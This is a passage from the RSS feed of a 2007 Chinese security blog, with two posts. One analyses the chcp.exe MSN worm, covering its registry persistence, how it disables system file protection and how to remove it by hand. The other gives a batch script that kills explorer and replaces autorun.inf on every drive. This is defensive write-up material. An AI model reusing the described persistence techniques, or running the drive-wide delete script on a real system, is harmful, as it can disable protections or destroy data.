href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e6%8e%a8%e8%8d%90%3a%e6%9d%9c%e7%bb%9darp%e6%ac%ba%e9%aa%97-%e5%88%a9%e7%94%a8lns%e9%98%b2%e8%8c%83arp%e6%ac%ba%e9%aa%97/" title="推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗">推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/">Permalink</a> |
<a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/&title=移动存储安全">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8/" rel="tag">移动存储</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>手动清除chcp.exe病毒 保护MSN的安全</title>
		<link>http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/</link>
		<comments>http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 08:17:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">/articles/52</guid>
		<description><![CDATA[&#160; 随着即时通讯工具的强大，木马病毒也加快了脚本，MSN早就成为了其通向第三方计算机感染跳越的平台。在好友圈中，只要盗取一个MSN好友帐号或感染一台用户计算机，病毒即会伸出罪恶之手，将会在用户MSN聊天时发送病毒信息。
&#160;&#160;&#160; 病毒分析
&#160;&#160;&#160; 该病毒属于MSN蠕虫变种，被感染的计算机会自动向MSN联系人发送诱惑文字消息和带毒压缩包，当对方接收并打开带毒压缩包中的病毒文件时，系统即成为新的受害者，并因此尝试感染另一台计算机。病毒大小为434,176 字节，通过MSN聊天工具进行传播。]]></description>
			<content:encoded><![CDATA[<p><font size="2">&nbsp; 随着即时通讯工具的强大，木马病毒也加快了脚本，MSN早就成为了其通向第三方计算机感染跳越的平台。在好友圈中，只要盗取一个MSN好友帐号或感染一台用户计算机，病毒即会伸出罪恶之手，将会在用户MSN聊天时发送病毒信息。 </font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; <strong>病毒分析</strong><br />
&nbsp;&nbsp;&nbsp; 该病毒属于MSN蠕虫变种，被感染的计算机会自动向MSN联系人发送诱惑文字消息和带毒压缩包，当对方接收并打开带毒压缩包中的病毒文件时，系统即成为新的受害者，并因此尝试感染另一台计算机。病毒大小为434,176 字节，通过MSN聊天工具进行传播。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 被感染的计算机，病毒首先会在系统目录 %Windows%下生成含带病毒源体的F0538_jpg.zip压缩包，随后病毒自身开始在计算机中的%Windows%目录下创建副本chcp.exe 可执行文件，并在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]分支下建立&quot;chcp.exe&quot;=&quot;%Windows%\chcp.exe&quot;自启动项目，然后病毒开始修改注册分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的&quot;SFCDisable&quot;=dword:ffffff9d&nbsp; 和&quot;SFCScan&quot;=dword:00000000值，进行关闭系统文件保护，并且更改&nbsp; [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的 &quot;WaitToKillServiceTimeout&quot;=的值为&quot;7000&quot;，达到更改自动关闭进程等待时间的效果。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 完成上述后，病毒仍没有安静的等待，而是查找被感染的计算机中是否存在FTP目录，如果有则将原正常程序改名为backup.ftp、backup.tftp并复制到%System%\microsoft目录下，随后在系统目录%System%下写入ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe可执行程序，做完一系列的手脚，病毒开始向MSN联系人发送诱惑型文字消息，并夹带毒包F0538_jpg.zip欺骗用户打开。</font></p>
<p><font size="2">&nbsp;&nbsp; </font><font size="2"><strong>清除方法<br />
</strong>&nbsp;&nbsp;&nbsp; 中了此毒的用户也不要紧张，在了解了生存原理后要想清除该病毒也非难事，只要按照以下几个步骤实施即可将病毒清除出界，让系统中的MSN正常运行。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 一、首先要进入注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下，将&quot;chcp.exe&quot;=&quot;%Windows%\chcp.exe&quot;自建的随机启动项删除，完成后重启计算机。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 二、进入%Windows%\目录下将病毒源体文件chcp.exe及F0538_jpg.zip压缩包删除。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 三、将目录%System%下的FTP破坏代替程序ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe删除，并将%System%\microsoft目录下的backup.ftp、backup.tftp改回到目录%System%下。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 四、删除注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的&quot;SFCDisable&quot;=dword:00000000键值，恢复系统文件保护。</font></p>
<p><font size="2">&nbsp;&nbsp;&nbsp; 五、最后将注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的&quot;WaitToKillServiceTimeout&quot;=改为&quot;20000&quot; 从而恢复系统自动关闭进程等待时间的默认配置。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; <strong>笔者按：</strong>在MSN病毒中变体有很多种如：MSN机器人、MSN小丑、MSN性感相册等，其原理都是利用MSN作为平台在同聊友沟通的同时发送病毒信息，通过MSN好友关系欺骗用户点击，然后再次传播，从而形成强大的传播途径。为了更好的处理此类病毒，这里建议用户加强计算机的先期保护如：开启杀软定时升库，安装安全类软件，不定期打入系统补丁等，并且多了解每日病毒动态，即时作好防范工作即可，一但用户被感染时应立即作出回应，利用手工删除或下载相应的专杀工具进行清理，以免让更多的用户成为受害者。</font></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/" title="十种武器保证你的系统安全">十种武器保证你的系统安全</a></li><li><a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/" title="移动存储安全">移动存储安全</a></li><li><a href="http://blog.licess.org/59/" title="国外的第一只[感染*.swf]flash病毒的源代码">国外的第一只[感染*.swf]flash病毒的源代码</a></li><li><a href="http://blog.licess.org/%e6%8e%a8%e8%8d%90%3a%e6%9d%9c%e7%bb%9darp%e6%ac%ba%e9%aa%97-%e5%88%a9%e7%94%a8lns%e9%98%b2%e8%8c%83arp%e6%ac%ba%e9%aa%97/" title="推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗">推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗</a></li><li><a href="http://blog.licess.org/%e6%8f%ad%e7%a7%98%e5%9b%be%e7%89%87%e7%97%85%e6%af%92%e6%8a%80%e6%9c%af%e8%83%8c%e5%90%8e%e7%9a%84%e5%86%85%e5%b9%95/" title="揭秘图片病毒技术背后的内幕">揭秘图片病毒技术背后的内幕</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/">Permalink</a> |
<a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/&title=手动清除chcp.exe病毒 保护MSN的安全">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e7%97%85%e6%af%92/" rel="tag">病毒</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>编写autorun病毒免疫工具</title>
		<link>http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/</link>
		<comments>http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 09:18:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">/articles/55</guid>
		<description><![CDATA[autorun病毒的危害相信中过招的人都有体会。其最大的特点就在于很难清除干净，现在可以提前对系统分区做一次免疫工作，而那些已经中了autorun病毒的用户也能顺便将病毒清除。&#160;&#160; &#160;&#160;&#160;&#160; 有人曾经使用系统组策略的方法，不过对于初学者来说有点复杂。现在复制以下代码到文本文件中，保存为bat文件即可。 &#160;&#160;&#160;&#160;@echo&#160;off cls echo&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;按&#160;S&#160;键删除Autorun.inf并进行免疫 echo. echo&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;按&#160;D&#160;键删除免疫程序 echo. echo&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;按其他任意键退出 echo. echo. SET&#160;Choice= SET&#160;/P&#160;Choice=&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;请选择要进行的操作：&#160;&#160; IF&#160;/I&#160;&#8217;%Choice:~0,1%&#8217;==&#8217;s&#8217;&#160;GOTO&#160;setup IF&#160;/I&#160;&#8217;%Choice:~0,1%&#8217;==&#8217;d&#8217;&#160;GOTO&#160;Delset IF&#160;/I&#160;&#8217;%Choice:~0,1%&#8217;==&#8217;q&#8217;&#160;GOTO&#160;Exit exit :Setup taskkill&#160;/im&#160;explorer.exe&#160;/f for&#160;%%a&#160;in&#160;(C&#160;D&#160;E&#160;F&#160;G&#160;H&#160;I&#160;J&#160;K&#160;L&#160;M&#160;N&#160;O&#160;P&#160;Q&#160;R&#160;S&#160;T&#160;U&#160;V&#160;W&#160;X&#160;Y&#160;Z)&#160;do&#160;@( &#160;&#160;&#160;&#160;if&#160;exist&#160;%%a:&#160;( &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;rd&#160;%%a:\autorun.inf&#160;/s&#160;/q &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;del&#160;%%a:\autorun.inf&#160;/f&#160;/q &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;mkdir&#160;%%a:\autorun.inf &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;mkdir&#160;%%a:\autorun.inf\&#34;病毒免疫勿删除../&#34;&#160; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;attrib&#160;+h&#160;+r&#160;+s&#160;%%a:\autorun.inf &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#160;&#160;&#160;&#160;)&#160; ) start&#160;explorer.exe for&#160;%%a&#160;in&#160;(C&#160;D&#160;E&#160;F&#160;G&#160;H&#160;I&#160;J&#160;K&#160;L&#160;M&#160;N&#160;O&#160;P&#160;Q&#160;R&#160;S&#160;T&#160;U&#160;V&#160;W&#160;X&#160;Y&#160;Z)&#160;do&#160;( &#160;&#160;if&#160;exist&#160;%%a:\nul&#160;( &#160;&#160;&#160;&#160;&#62;1.vbs&#160;echo&#160;msgbox^&#160;&#34;%%a:免疫成功&#34;,64,&#34;提示:&#34; &#160;&#160;&#160;&#160;1.vbs &#160;&#160;) ) del&#160;1.vbs echo. echo. echo&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;按任意键退出... pause&#62;nul exit :delset For&#160;%%a&#160;In&#160;(C&#160;D&#160;E&#160;F&#160;G&#160;H&#160;I&#160;J&#160;K&#160;L&#160;M&#160;N&#160;O&#160;P&#160;Q&#160;R&#160;S&#160;T&#160;U&#160;V&#160;W&#160;X&#160;Y&#160;Z)&#160;Do&#160;@( &#160;&#160;&#160;&#160;If&#160;Exist&#160;%%a:&#160;(&#160;&#160;&#160;&#160;&#160;&#160; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;rd&#160;%%a:\autorun.inf&#160;/s&#160;/q &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#160;&#160;&#160;&#160;)&#160; ) echo. echo. echo&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;操作完毕，按任意键退出... pause&#62;nul exit [...]]]></description>
			<content:encoded><![CDATA[<div class="NewsContent" id="NewsContentLabel"><font size="2">autorun病毒的危害相信中过招的人都有体会。其最大的特点就在于很难清除干净，现在可以提前对系统分区做一次免疫工作，而那些已经中了autorun病毒的用户也能顺便将病毒清除。&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
有人曾经使用系统组策略的方法，不过对于初学者来说有点复杂。现在复制以下代码到文本文件中，保存为bat文件即可。<br />
&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;off<br />
cls<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;按&nbsp;S&nbsp;键删除Autorun.inf并进行免疫<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;按&nbsp;D&nbsp;键删除免疫程序<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;按其他任意键退出<br />
echo.<br />
echo.<br />
SET&nbsp;Choice=<br />
SET&nbsp;/P&nbsp;Choice=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;请选择要进行的操作：&nbsp;&nbsp;<br />
IF&nbsp;/I&nbsp;&rsquo;%Choice:~0,1%&rsquo;==&rsquo;s&rsquo;&nbsp;GOTO&nbsp;setup<br />
IF&nbsp;/I&nbsp;&rsquo;%Choice:~0,1%&rsquo;==&rsquo;d&rsquo;&nbsp;GOTO&nbsp;Delset<br />
IF&nbsp;/I&nbsp;&rsquo;%Choice:~0,1%&rsquo;==&rsquo;q&rsquo;&nbsp;GOTO&nbsp;Exit<br />
exit<br />
:Setup<br />
taskkill&nbsp;/im&nbsp;explorer.exe&nbsp;/f<br />
for&nbsp;%%a&nbsp;in&nbsp;(C&nbsp;D&nbsp;E&nbsp;F&nbsp;G&nbsp;H&nbsp;I&nbsp;J&nbsp;K&nbsp;L&nbsp;M&nbsp;N&nbsp;O&nbsp;P&nbsp;Q&nbsp;R&nbsp;S&nbsp;T&nbsp;U&nbsp;V&nbsp;W&nbsp;X&nbsp;Y&nbsp;Z)&nbsp;do&nbsp;@(<br />
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;exist&nbsp;%%a:&nbsp;(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rd&nbsp;%%a:\autorun.inf&nbsp;/s&nbsp;/q<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;del&nbsp;%%a:\autorun.inf&nbsp;/f&nbsp;/q<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mkdir&nbsp;%%a:\autorun.inf<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mkdir&nbsp;%%a:\autorun.inf\&quot;病毒免疫勿删除../&quot;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attrib&nbsp;+h&nbsp;+r&nbsp;+s&nbsp;%%a:\autorun.inf<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;<br />
)<br />
start&nbsp;explorer.exe<br />
for&nbsp;%%a&nbsp;in&nbsp;(C&nbsp;D&nbsp;E&nbsp;F&nbsp;G&nbsp;H&nbsp;I&nbsp;J&nbsp;K&nbsp;L&nbsp;M&nbsp;N&nbsp;O&nbsp;P&nbsp;Q&nbsp;R&nbsp;S&nbsp;T&nbsp;U&nbsp;V&nbsp;W&nbsp;X&nbsp;Y&nbsp;Z)&nbsp;do&nbsp;(<br />
&nbsp;&nbsp;if&nbsp;exist&nbsp;%%a:\nul&nbsp;(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&gt;1.vbs&nbsp;echo&nbsp;msgbox^&nbsp;&quot;%%a:免疫成功&quot;,64,&quot;提示:&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;1.vbs<br />
&nbsp;&nbsp;)<br />
)<br />
del&nbsp;1.vbs<br />
echo.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;按任意键退出...<br />
pause&gt;nul<br />
exit<br />
:delset<br />
For&nbsp;%%a&nbsp;In&nbsp;(C&nbsp;D&nbsp;E&nbsp;F&nbsp;G&nbsp;H&nbsp;I&nbsp;J&nbsp;K&nbsp;L&nbsp;M&nbsp;N&nbsp;O&nbsp;P&nbsp;Q&nbsp;R&nbsp;S&nbsp;T&nbsp;U&nbsp;V&nbsp;W&nbsp;X&nbsp;Y&nbsp;Z)&nbsp;Do&nbsp;@(<br />
&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Exist&nbsp;%%a:&nbsp;(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rd&nbsp;%%a:\autorun.inf&nbsp;/s&nbsp;/q<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;<br />
)<br />
echo.<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;操作完毕，按任意键退出...<br />
pause&gt;nul<br />
exit</p>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;具体原理为通过检测autorun.inf和删除相应文件达到直接消灭病毒的目的。操作比较简单，只要按两个键就可以了。</font></div>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a href="http://blog.licess.org/%e4%b8%8d%e8%a6%81%e8%ae%a9%e7%97%85%e6%af%92%e8%bf%b7%e6%83%91%e4%ba%86%e6%82%a8%e7%9a%84%e7%9c%bc%e7%9d%9b/" title="不要让病毒迷惑了您的眼睛">不要让病毒迷惑了您的眼睛</a></li><li><a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/" title="十种武器保证你的系统安全">十种武器保证你的系统安全</a></li><li><a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/" title="移动存储安全">移动存储安全</a></li><li><a href="http://blog.licess.org/59/" title="国外的第一只[感染*.swf]flash病毒的源代码">国外的第一只[感染*.swf]flash病毒的源代码</a></li><li><a href="http://blog.licess.org/%e6%8e%a8%e8%8d%90%3a%e6%9d%9c%e7%bb%9darp%e6%ac%ba%e9%aa%97-%e5%88%a9%e7%94%a8lns%e9%98%b2%e8%8c%83arp%e6%ac%ba%e9%aa%97/" title="推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗">推荐:杜绝Arp欺骗&#8211;利用Lns防范Arp欺骗</a></li><li><a href="http://blog.licess.org/%e6%8f%ad%e7%a7%98%e5%9b%be%e7%89%87%e7%97%85%e6%af%92%e6%8a%80%e6%9c%af%e8%83%8c%e5%90%8e%e7%9a%84%e5%86%85%e5%b9%95/" title="揭秘图片病毒技术背后的内幕">揭秘图片病毒技术背后的内幕</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/">Permalink</a> |
<a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/&title=编写autorun病毒免疫工具">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e7%97%85%e6%af%92/" rel="tag">病毒</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>U盘(auto病毒)类病毒分析与解决方案</title>
		<link>http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/</link>
		<comments>http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 09:16:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">/articles/56</guid>
